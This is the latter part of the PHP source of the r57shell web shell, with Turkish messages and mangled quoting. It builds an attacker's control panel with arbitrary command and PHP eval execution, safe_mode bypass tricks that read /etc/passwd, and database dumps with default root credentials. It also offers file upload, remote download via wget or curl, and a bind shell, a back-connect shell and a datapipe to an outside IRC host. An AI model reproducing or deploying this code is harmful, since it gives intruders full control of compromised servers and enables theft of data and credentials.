else echo \[-] HATA! Database ile baglanti kurulamiyor\;
@mssql_close($db);
}
else echo \[-] HATA! MssQl Server ile baglanti Kurulamiyor\;
break;
case \PostgreSQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \5432\; }
$str = \host=\localhost\ port=\\.$_POST[\db_port\].\\ user=\\.$_POST[\mysql_l\].\\ password=\\.$_POST[\mysql_p\].\\ dbname=\\.$_POST[\mysql_db\].\\\;
$db = @pg_connect($str);
if($db)
{
$sql1 = \# PostgreSQL dump created by r57shell\\r\\n\;
$sql1 .= $sqh;
$sql2 = \\;
$res = @pg_query($db,\SELECT * FROM \.$_POST[\mysql_tbl\].\\);
if (@pg_num_rows($res) _ 0) {
while (($row = @pg_fetch_assoc($res))) {
$keys = @implode(\, \, @array_keys($row));
$values = @array_values($row);
foreach($values as $k=_$v) {$values[$k] = addslashes($v);}
$values = @implode(\\, \\, $values);
$sql2 .= \INSERT INTO \.$_POST[\mysql_tbl\].\ (\.$keys.\) VALUES (\\.htmlspecialchars($values).\\);\\r\\n\;
}
$sql2 .= \\\r\\n# ---------------------------------\;
}
if(!empty($_POST[\dif\])&&$fp) { @fputs($fp,$sql1.$sql2); }
else { echo $sql1.$sql2; }
@pg_close($db);
}
else echo \[-]HATA! PostgreSQL Server ile baglanti Kurulamiyor\;
break;
}
}
else if(!empty($_POST[\dif\])&&!$fp) { echo \[-] HATA! Dump dosyalari yazilabilir degil\; }
}
echo \_/textarea__/div_\;
echo \_/b_\;
echo \_/td__/tr__/table_\;
echo \_table width=100% cellpadding=0 cellspacing=0_\;
if(!$safe_mode){
echo $fs.$table_up1.$lang[$language.\_text2\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text3\].$arrow.\_/b_\,in(\text\,\cmd\,85,\\));
echo sr(15,\_b_\.$lang[$language.\_text4\].$arrow.\_/b_\,in(\text\,\dir\,85,$dir).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt1\]));
echo $te.$table_end1.$fe;
}
else{
echo $fs.$table_up1.$lang[$language.\_text28\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text4\].$arrow.\_/b_\,in(\text\,\dir\,85,$dir).in(\hidden\,\cmd\,0,\safe_dir\).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt6\]));
echo $te.$table_end1.$fe;
}
echo $fs.$table_up1.$lang[$language.\_text42\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text43\].$arrow.\_/b_\,in(\text\,\e_name\,85,$dir).in(\hidden\,\cmd\,0,\edit_file\).in(\hidden\,\dir\,0,$dir).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt11\]));
echo $te.$table_end1.$fe;
if($safe_mode){
echo $fs.$table_up1.$lang[$language.\_text57\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text58\].$arrow.\_/b_\,in(\text\,\mk_name\,54,(!empty($_POST[\mk_name\])?($_POST[\mk_name\]):(\new_name\))).ws(4).\_select name=action__option value=create_\.$lang[$language.\_text65\].\_/option__option value=delete_\.$lang[$language.\_text66\].\_/option__/select_\.ws(3).\_select name=what__option value=file_\.$lang[$language.\_text59\].\_/option__option value=dir_\.$lang[$language.\_text60\].\_/option__/select_\.in(\hidden\,\cmd\,0,\mk\).in(\hidden\,\dir\,0,$dir).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt13\]));
echo $te.$table_end1.$fe;
}
if($safe_mode && $unix){
echo $fs.$table_up1.$lang[$language.\_text67\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text68\].$arrow.\_/b_\,\_select name=what__option value=mod_CHMOD_/option__option value=own_CHOWN_/option__option value=grp_CHGRP_/option__/select_\.ws(2).\_b_\.$lang[$language.\_text69\].$arrow.\_/b_\.ws(2).in(\text\,\param1\,40,(($_POST[\param1\])?($_POST[\param1\]):(\filename\))).ws(2).\_b_\.$lang[$language.\_text70\].$arrow.\_/b_\.ws(2).in(\text\,\param2 title=\\.$lang[$language.\_text71\].\\\,26,(($_POST[\param2\])?($_POST[\param2\]):(\0777\))).in(\hidden\,\cmd\,0,\ch_\).in(\hidden\,\dir\,0,$dir).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt1\]));
echo $te.$table_end1.$fe;
}
if(!$safe_mode){
foreach ($aliases as $alias_name=_$alias_cmd)
{
$aliases2 .= \_option_$alias_name_/option_\;
}
echo $fs.$table_up1.$lang[$language.\_text7\].$table_up2.$ts;
echo sr(15,\_b_\.ws(9).$lang[$language.\_text8\].$arrow.ws(4).\_/b_\,\_select name=alias_\.$aliases2.\_/select_\.in(\hidden\,\dir\,0,$dir).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt1\]));
echo $te.$table_end1.$fe;
}
echo $fs.$table_up1.$lang[$language.\_text54\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text52\].$arrow.\_/b_\,in(\text\,\s_text\,85,\text\).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt12\]));
echo sr(15,\_b_\.$lang[$language.\_text53\].$arrow.\_/b_\,in(\text\,\s_dir\,85,$dir).\ * ( /root;/home;/tmp )\);
echo sr(15,\_b_\.$lang[$language.\_text55\].$arrow.\_/b_\,in(\checkbox\,\m id=m\,0,\1\).in(\text\,\s_mask\,82,\.txt;.php\).\* ( .txt;.php;.htm )\.in(\hidden\,\cmd\,0,\search_text\).in(\hidden\,\dir\,0,$dir));
echo $te.$table_end1.$fe;
echo $fs.$table_up1.$lang[$language.\_text76\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text72\].$arrow.\_/b_\,in(\text\,\s_text\,85,\text\).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt12\]));
echo sr(15,\_b_\.$lang[$language.\_text73\].$arrow.\_/b_\,in(\text\,\s_dir\,85,$dir).\ * ( /root;/home;/tmp )\);
echo sr(15,\_b_\.$lang[$language.\_text74\].$arrow.\_/b_\,in(\text\,\s_mask\,85,\*.[hc]\).ws(1).$lang[$language.\_text75\].in(\hidden\,\cmd\,0,\find_text\).in(\hidden\,\dir\,0,$dir));
echo $te.$table_end1.$fe;
echo $fs.$table_up1.$lang[$language.\_text32\].$table_up2.$font;
echo \_div align=center__textarea name=php_eval cols=100 rows=3_\;
echo (!empty($_POST[\php_eval\])?($_POST[\php_eval\]):(\/* delete script */\\r\\n//unlink(\\\r57shell.php\\\);\\r\\n//readfile(\\\/etc/passwd\\\);\));
echo \_/textarea_\;
echo in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\php_eval\);
echo \_br_\.ws(1).in(\submit\,\submit\,0,$lang[$language.\_butt1\]);
echo \_/font_\;
echo $table_end1.$fe;
if($safe_mode&&$curl_on)
{
echo $fs.$table_up1.$lang[$language.\_text33\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text30\].$arrow.\_/b_\,in(\text\,\test1_file\,85,(!empty($_POST[\test1_file\])?($_POST[\test1_file\]):(\/etc/passwd\))).in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\test1\).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt8\]));
echo $te.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.$lang[$language.\_text34\].$table_up2.$ts;
echo \_table class=table1 width=100% align=center_\;
echo sr(15,\_b_\.$lang[$language.\_text30\].$arrow.\_/b_\,in(\text\,\test2_file\,85,(!empty($_POST[\test2_file\])?($_POST[\test2_file\]):(\/etc/passwd\))).in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\test2\).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt8\]));
echo $te.$table_end1.$fe;
}
if($safe_mode&&$mysql_on)
{
echo $fs.$table_up1.$lang[$language.\_text35\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text36\].$arrow.\_/b_\,in(\text\,\test3_md\,15,(!empty($_POST[\test3_md\])?($_POST[\test3_md\]):(\mysql\))).ws(4).\_b_\.$lang[$language.\_text37\].$arrow.\_/b_\.in(\text\,\test3_ml\,15,(!empty($_POST[\test3_ml\])?($_POST[\test3_ml\]):(\root\))).ws(4).\_b_\.$lang[$language.\_text38\].$arrow.\_/b_\.in(\text\,\test3_mp\,15,(!empty($_POST[\test3_mp\])?($_POST[\test3_mp\]):(\password\))).ws(4).\_b_\.$lang[$language.\_text14\].$arrow.\_/b_\.in(\text\,\test3_port\,15,(!empty($_POST[\test3_port\])?($_POST[\test3_port\]):(\3306\))));
echo sr(15,\_b_\.$lang[$language.\_text30\].$arrow.\_/b_\,in(\text\,\test3_file\,96,(!empty($_POST[\test3_file\])?($_POST[\test3_file\]):(\/etc/passwd\))).in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\test3\).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt8\]));
echo $te.$table_end1.$fe;
}
if($safe_mode&&$mssql_on)
{
echo $fs.$table_up1.$lang[$language.\_text85\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text36\].$arrow.\_/b_\,in(\text\,\test4_md\,15,(!empty($_POST[\test4_md\])?($_POST[\test4_md\]):(\master\))).ws(4).\_b_\.$lang[$language.\_text37\].$arrow.\_/b_\.in(\text\,\test4_ml\,15,(!empty($_POST[\test4_ml\])?($_POST[\test4_ml\]):(\sa\))).ws(4).\_b_\.$lang[$language.\_text38\].$arrow.\_/b_\.in(\text\,\test4_mp\,15,(!empty($_POST[\test4_mp\])?($_POST[\test4_mp\]):(\password\))).ws(4).\_b_\.$lang[$language.\_text14\].$arrow.\_/b_\.in(\text\,\test4_port\,15,(!empty($_POST[\test4_port\])?($_POST[\test4_port\]):(\1433\))));
echo sr(15,\_b_\.$lang[$language.\_text3\].$arrow.\_/b_\,in(\text\,\test4_file\,96,(!empty($_POST[\test4_file\])?($_POST[\test4_file\]):(\dir\))).in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\test4\).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt8\]));
echo $te.$table_end1.$fe;
}
if(@ini_get(\file_uploads\)){
echo \_form name=upload method=POST ENCTYPE=multipart/form-data_\;
echo $table_up1.$lang[$language.\_text5\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text6\].$arrow.\_/b_\,in(\file\,\userfile\,85,\\));
echo sr(15,\_b_\.$lang[$language.\_text21\].$arrow.\_/b_\,in(\checkbox\,\nf1 id=nf1\,0,\1\).in(\text\,\new_name\,82,\\).in(\hidden\,\dir\,0,$dir).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt2\]));
echo $te.$table_end1.$fe;
}
if(!$safe_mode&&!$windows){
echo $fs.$table_up1.$lang[$language.\_text15\].$table_up2.$ts;
echo sr(15,\_b_\.$lang[$language.\_text16\].$arrow.\_/b_\,\_select size=\\\1\\\ name=\\\with\\\__option value=\\\wget\\\_wget_/option__option value=\\\fetch\\\_fetch_/option__option value=\\\lynx\\\_lynx_/option__option value=\\\links\\\_links_/option__option value=\\\curl\\\_curl_/option__option value=\\\GET\\\_GET_/option__/select_\.in(\hidden\,\dir\,0,$dir).ws(2).\_b_\.$lang[$language.\_text17\].$arrow.\_/b_\.in(\text\,\rem_file\,78,\http://\));
echo sr(15,\_b_\.$lang[$language.\_text18\].$arrow.\_/b_\,in(\text\,\loc_file\,105,$dir).ws(4).in(\submit\,\submit\,0,$lang[$language.\_butt2\]));
echo $te.$table_end1.$fe;
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
echo $table_up1.$lang[$language.\_text82\].$table_up2.$ts.\_tr_\.$fs.\_td valign=top width=34%_\.$ts;
echo \_font face=Verdana size=-2__b__div align=center_\.$lang[$language.\_text77\].\_/div__/b__/font_\;
echo sr(45,\_b_\.$lang[$language.\_text80\].$arrow.\_/b_\,\_select name=db__option_MySQL_/option__option_MSSQL_/option__option_PostgreSQL_/option__/select_\);
echo sr(45,\_b_\.$lang[$language.\_text14\].$arrow.\_/b_\,in(\text\,\db_port\,15,(!empty($_POST[\db_port\])?($_POST[\db_port\]):(\3306\))));
echo sr(45,\_b_\.$lang[$language.\_text37\].$arrow.\_/b_\,in(\text\,\mysql_l\,15,(!empty($_POST[\mysql_l\])?($_POST[\mysql_l\]):(\root\))));
echo sr(45,\_b_\.$lang[$language.\_text38\].$arrow.\_/b_\,in(\text\,\mysql_p\,15,(!empty($_POST[\mysql_p\])?($_POST[\mysql_p\]):(\password\))));
echo sr(45,\_b_\.$lang[$language.\_text78\].$arrow.\_/b_\,in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\db_show\).in(\checkbox\,\st id=st\,0,\1\));
echo sr(45,\_b_\.$lang[$language.\_text79\].$arrow.\_/b_\,in(\checkbox\,\sc id=sc\,0,\1\));
echo sr(45,\\,in(\submit\,\submit\,0,$lang[$language.\_butt7\]));
echo $te.\_/td_\.$fe.$fs.\_td valign=top width=33%_\.$ts;
echo \_font face=Verdana size=-2__b__div align=center_\.$lang[$language.\_text40\].\_/div__/b__/font_\;
echo sr(45,\_b_\.$lang[$language.\_text80\].$arrow.\_/b_\,\_select name=db__option_MySQL_/option__option_MSSQL_/option__option_PostgreSQL_/option__/select_\);
echo sr(45,\_b_\.$lang[$language.\_text14\].$arrow.\_/b_\,in(\text\,\db_port\,15,(!empty($_POST[\db_port\])?($_POST[\db_port\]):(\3306\))));
echo sr(45,\_b_\.$lang[$language.\_text37\].$arrow.\_/b_\,in(\text\,\mysql_l\,15,(!empty($_POST[\mysql_l\])?($_POST[\mysql_l\]):(\root\))));
echo sr(45,\_b_\.$lang[$language.\_text38\].$arrow.\_/b_\,in(\text\,\mysql_p\,15,(!empty($_POST[\mysql_p\])?($_POST[\mysql_p\]):(\password\))));
echo sr(45,\_b_\.$lang[$language.\_text36\].$arrow.\_/b_\,in(\text\,\mysql_db\,15,(!empty($_POST[\mysql_db\])?($_POST[\mysql_db\]):(\mysql\))));
echo sr(45,\_b_\.$lang[$language.\_text39\].$arrow.\_/b_\,in(\text\,\mysql_tbl\,15,(!empty($_POST[\mysql_tbl\])?($_POST[\mysql_tbl\]):(\user\))));
echo sr(45,in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\mysql_dump\).\_b_\.$lang[$language.\_text41\].$arrow.\_/b_\,in(\checkbox\,\dif id=dif\,0,\1\));
echo sr(45,\_b_\.$lang[$language.\_text59\].$arrow.\_/b_\,in(\text\,\dif_name\,15,(!empty($_POST[\dif_name\])?($_POST[\dif_name\]):(\dump.sql\))));
echo sr(45,\\,in(\submit\,\submit\,0,$lang[$language.\_butt9\]));
echo $te.\_/td_\.$fe.$fs.\_td valign=top width=33%_\.$ts;
echo \_font face=Verdana size=-2__b__div align=center_\.$lang[$language.\_text83\].\_/div__/b__/font_\;
echo sr(45,\_b_\.$lang[$language.\_text80\].$arrow.\_/b_\,\_select name=db__option_MySQL_/option__option_MSSQL_/option__option_PostgreSQL_/option__option_Oracle_/option__/select_\);
echo sr(45,\_b_\.$lang[$language.\_text14\].$arrow.\_/b_\,in(\text\,\db_port\,15,(!empty($_POST[\db_port\])?($_POST[\db_port\]):(\3306\))));
echo sr(45,\_b_\.$lang[$language.\_text37\].$arrow.\_/b_\,in(\text\,\mysql_l\,15,(!empty($_POST[\mysql_l\])?($_POST[\mysql_l\]):(\root\))));
echo sr(45,\_b_\.$lang[$language.\_text38\].$arrow.\_/b_\,in(\text\,\mysql_p\,15,(!empty($_POST[\mysql_p\])?($_POST[\mysql_p\]):(\password\))));
echo sr(45,\_b_\.$lang[$language.\_text36\].$arrow.\_/b_\,in(\text\,\mysql_db\,15,(!empty($_POST[\mysql_db\])?($_POST[\mysql_db\]):(\mysql\))));
echo sr(45,\_b_\.$lang[$language.\_text84\].$arrow.\_/b_\.in(\hidden\,\dir\,0,$dir).in(\hidden\,\cmd\,0,\db_query\),\\);
echo $te.\_div align=center__textarea cols=35 name=db_query_\.(!empty($_POST[\db_query\])?($_POST[\db_query\]):(\SHOW DATABASES;\\nSELECT * FROM user;\)).\_/textarea__br_\.in(\submit\,\submit\,0,$lang[$language.\_butt1\]).\_/div__/td_\.$fe.\_/tr__/table_\;
}
if(!$safe_mode&&!$windows){
echo $table_up1.$lang[$language.\_text81\].$table_up2.$ts.\_tr_\.$fs.\_td valign=top width=34%_\.$ts;
echo \_font face=Verdana size=-2__b__div align=center_\.$lang[$language.\_text9\].\_/div__/b__/font_\;
echo sr(40,\_b_\.$lang[$language.\_text10\].$arrow.\_/b_\,in(\text\,\port\,15,\11457\));
echo sr(40,\_b_\.$lang[$language.\_text11\].$arrow.\_/b_\,in(\text\,\bind_pass\,15,\r57\));
echo sr(40,\_b_\.$lang[$language.\_text20\].$arrow.\_/b_\,\_select size=\\\1\\\ name=\\\use\\\__option value=\\\Perl\\\_Perl_/option__option value=\\\C\\\_C_/option__/select_\.in(\hidden\,\dir\,0,$dir));
echo sr(40,\\,in(\submit\,\submit\,0,$lang[$language.\_butt3\]));
echo $te.\_/td_\.$fe.$fs.\_td valign=top width=33%_\.$ts;
echo \_font face=Verdana size=-2__b__div align=center_\.$lang[$language.\_text12\].\_/div__/b__/font_\;
echo sr(40,\_b_\.$lang[$language.\_text13\].$arrow.\_/b_\,in(\text\,\ip\,15,((getenv(\REMOTE_ADDR\)) ? (getenv(\REMOTE_ADDR\)) : (\127.0.0.1\))));
echo sr(40,\_b_\.$lang[$language.\_text14\].$arrow.\_/b_\,in(\text\,\port\,15,\11457\));
echo sr(40,\_b_\.$lang[$language.\_text20\].$arrow.\_/b_\,\_select size=\\\1\\\ name=\\\use\\\__option value=\\\Perl\\\_Perl_/option__option value=\\\C\\\_C_/option__/select_\.in(\hidden\,\dir\,0,$dir));
echo sr(40,\\,in(\submit\,\submit\,0,$lang[$language.\_butt4\]));
echo $te.\_/td_\.$fe.$fs.\_td valign=top width=33%_\.$ts;
echo \_font face=Verdana size=-2__b__div align=center_\.$lang[$language.\_text22\].\_/div__/b__/font_\;
echo sr(40,\_b_\.$lang[$language.\_text23\].$arrow.\_/b_\,in(\text\,\local_port\,15,\11457\));
echo sr(40,\_b_\.$lang[$language.\_text24\].$arrow.\_/b_\,in(\text\,\remote_host\,15,\irc.dalnet.ru\));
echo sr(40,\_b_\.$lang[$language.\_text25\].$arrow.\_/b_\,in(\text\,\remote_port\,15,\6667\));
echo sr(40,\_b_\.$lang[$language.\_text26\].$arrow.\_/b_\,\_select size=\\\1\\\ name=\\\use\\\__option value=\\\Perl\\\_datapipe.pl_/option__option value=\\\C\\\_datapipe.c_/option__/select_\.in(\hidden\,\dir\,0,$dir));
echo sr(40,\\,in(\submit\,\submit\,0,$lang[$language.\_butt5\]));
echo $te.\_/td_\.$fe.\_/tr__/table_\;
}
?_